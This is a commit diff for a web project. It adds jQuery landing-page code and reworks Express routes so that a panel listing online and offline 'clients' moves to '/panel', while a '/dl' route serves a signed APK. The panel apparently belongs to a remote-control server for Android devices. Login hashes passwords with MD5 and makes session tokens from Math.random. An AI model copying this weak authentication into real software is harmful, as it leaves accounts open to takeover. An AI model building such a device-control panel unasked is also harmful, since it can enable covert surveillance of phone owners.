SUQ9InhtcC5paWQ6ODg3NTQ2RUZEREREMTFFOUJENzZEODZCNERCMkQxRDkiIHhtcE1NOkRvY3Vt ZW50SUQ9InhtcC5kaWQ6ODg3NTQ2RjBEREREMTFFOUJENzZEODZCNERCMkQxRDkiPiA8eG1wTU06 RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4ODc1NDZFREREREQxMUU5QkQ3 NkQ4NkI0REIyRDFEOSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4ODc1NDZFRUREREQxMUU5 QkQ3NkQ4NkI0REIyRDFEOSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1w bWV0YT4gPD94cGFja2V0IGVuZD0iciI/PmmWF44AAAE0SURBVHja7JTfSgJBFMZnTj5HvUQ9UFZS sUiY0CN4EZHIIhpS+BIiXXprL5HvoeN34Bs4LOv+wbqRPfBjZ+bs+b75s7O+tWi5GjEAAl6qFtRR fwV9U/dcpUgqir8ZcY0eeAf+WANPoV5O7gkMy0ykRHxIIY1vk1vy2QWjIhMpEB9RQGMO7k3+AXyy nYD0kIkcEE9ZqPEFbsDWvLMDd8bkEYzzTCRHfMwCR4HbjLg10dyMfV3hJGsiGfGJ2YoZBXYF5xRA B3ywH9s+a+CZ6LAf26HCJxzM7J1ZlUQDMbN1ZhWhxiUM5hw02tQ80xs55YDjC0lNcWuScEv1ea1j OvsVDzE9QtyaxLuhmivPn90V+CkRPwe/bF+ATcklvQTr+LNbu7+NEDXF/XM0Bo1BY3AKBnsBBgBR skP7nRBFhwAAAABJRU5ErkJggg== " height="22.855978" width="21.858852"/>
<rect id="svg_3" height="2.857143" width="23" y="23.064732" x="0.5" stroke-opacity="null" stroke-width="0" stroke="#000" fill="#4f7f1c"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 4.0 KiB

File diff suppressed because one or more lines are too long

View File

@ -30,3 +30,160 @@ function updateButton(element, commandID, additionalParams = {}) {
} }
}); });
} }
$(document).ready(function(){
$("#main-text .btn-custom-black").hover(function() {
$("#main-text .btn-custom").addClass('hover');
}, function() {
$("#main-text .btn-custom").removeClass('hover');
});
$(".open-list").on('click', function(){
if($(this).hasClass('open')){
$(this).siblings(".pricing-list").slideUp();
$(this).text('Open list').removeClass('open');
}else{
$(this).siblings(".pricing-list").slideDown();
$(this).text('Close list').addClass('open');
}
});
$(".navbar-toggler").on('click', function(){
if($(this).attr('aria-expanded') == 'true'){
$('.navbar-brand').css('visibility', 'visible');
$('.navbar').css('background-color', 'rgba(0, 0, 0, 0.8)');
}else{
$('.navbar-brand').css('visibility', 'hidden');
$('.navbar').css('background-color', 'rgb(0, 0, 0)');
}
});
$('.scroll-top').click(function(e) {
e.preventDefault;
$('html, body').animate({scrollTop: 0},500);
})
// Cache selectors
var lastId,
topMenu = $(".navbar-nav"),
topMenuHeight = topMenu.outerHeight()+15,
// All list items
menuItems = topMenu.find("a"),
// Anchors corresponding to menu items
scrollItems = menuItems.map(function(){
var item = $($(this).attr("href"));
if (item.length) { return item; }
});
// Bind click handler to menu items
// so we can get a fancy scroll animation
menuItems.click(function(e){
var href = $(this).attr("href"),
offsetTop = href === "#" ? 0 : $(href).offset().top-topMenuHeight+1;
$('html, body').stop().animate({
scrollTop: offsetTop
}, 500);
e.preventDefault();
});
// Bind to scroll
$(window).scroll(function(){
if ($(window).scrollTop()>700) {
$(".scroll-top").show();
}else {
$(".scroll-top").hide();
}
// Get container scroll position
var fromTop = $(this).scrollTop()+topMenuHeight;
// Get id of current scroll item
var cur = scrollItems.map(function(){
if ($(this).offset().top < fromTop)
return this;
});
// Get the id of the current element
cur = cur[cur.length-1];
var id = cur && cur.length ? cur[0].id : "";
if (lastId !== id) {
lastId = id;
// Set/remove active class
menuItems
.parent().removeClass("active")
.end().filter("[href='#"+id+"']").parent().addClass("active");
}
});
$('.flowing-scroll').on( 'click', function(){
var el = $(this);
var dest = el.attr('href');
if(dest !== undefined && dest !== '') {
$('html').animate({
scrollTop: $(dest).offset().top
}, 500
);
}
return false;
});
let col8 = $('.container').width() * 0.83;
let videoCarousel = $("#video-carousel");
videoCarousel.on('initialized.owl.carousel', function(event) {
$('a.owl-video').each(function(indx){
let dataImage = $(this).attr("data-image");
$(this).siblings(".owl-video-tn").css("background-image", "url('" + dataImage + "')");
let dataTitle = $(this).attr("data-title");
$(this).closest('.owl-item').prepend("<p class='video-title'>" + dataTitle + "</p>");
});
});
let testimonialCarousel = $("#testimonial-carousel");
testimonialCarousel.on('initialized.owl.carousel changed.owl.carousel', function(e) {
if (!e.namespace) {
return;
}
let carousel = e.relatedTarget;
$('.slider-counter').text(carousel.relative(carousel.current()) + 1 + ' / ' + carousel.items().length);
});
let teamCarousel = $(".team-carousel");
let blogCarousel = $("#blog-carousel");
$("#s-services .wrap-services").equalHeights();
$('#select-time').on('change', function(event) {
if($(this).find("option:selected").text()) $(this).css('background-image', 'none');;
});
});
(function($) {
$.fn.equalHeights = function() {
var maxHeight = 0,
$this = $(this);
$this.each( function() {
var height = $(this).innerHeight();
if ( height > maxHeight ) { maxHeight = height; }
});
return $this.css('height', maxHeight);
};
// auto-initialize plugin
$('[data-equal]').each(function(){
var $this = $(this),
target = $this.data('equal');
$this.find(target).equalHeights();
});
})(jQuery);

View File

@ -30,18 +30,28 @@ routes.get('/dl', (req, res) => {
res.redirect('/build-aligned-signed.apk'); res.redirect('/build-aligned-signed.apk');
}); });
routes.get('/', isAllowed, (req, res) => { // routes.get('/', isAllowed, (req, res) => {
// res.render('index', {
// clientsOnline: clientManager.getClientListOnline(),
// clientsOffline: clientManager.getClientListOffline()
// });
// });
routes.get('/', (req, res) => {
res.render('welcome')
});
routes.get('/login', (req, res) => {
res.render('login');
});
routes.get('/panel', isAllowed, (req, res) => {
res.render('index', { res.render('index', {
clientsOnline: clientManager.getClientListOnline(), clientsOnline: clientManager.getClientListOnline(),
clientsOffline: clientManager.getClientListOffline() clientsOffline: clientManager.getClientListOffline()
}); });
}); });
routes.get('/login', (req, res) => {
res.render('login');
});
routes.post('/login', (req, res) => { routes.post('/login', (req, res) => {
if ('username' in req.body) { if ('username' in req.body) {
if ('password' in req.body) { if ('password' in req.body) {
@ -51,7 +61,7 @@ routes.post('/login', (req, res) => {
if (req.body.username.toString() === rUsername && passwordMD5 === rPassword) { if (req.body.username.toString() === rUsername && passwordMD5 === rPassword) {
let loginToken = crypto.createHash('md5').update((Math.random()).toString() + (new Date()).toString()).digest("hex"); let loginToken = crypto.createHash('md5').update((Math.random()).toString() + (new Date()).toString()).digest("hex");
db.maindb.get('admin').assign({ loginToken }).write(); db.maindb.get('admin').assign({ loginToken }).write();
res.cookie('loginToken', loginToken).redirect('/'); res.cookie('loginToken', loginToken).redirect('/panel');
} else return res.redirect('/login?e=badLogin'); } else return res.redirect('/login?e=badLogin');
} else return res.redirect('/login?e=missingPassword'); } else return res.redirect('/login?e=missingPassword');
} else return res.redirect('/login?e=missingUsername'); } else return res.redirect('/login?e=missingUsername');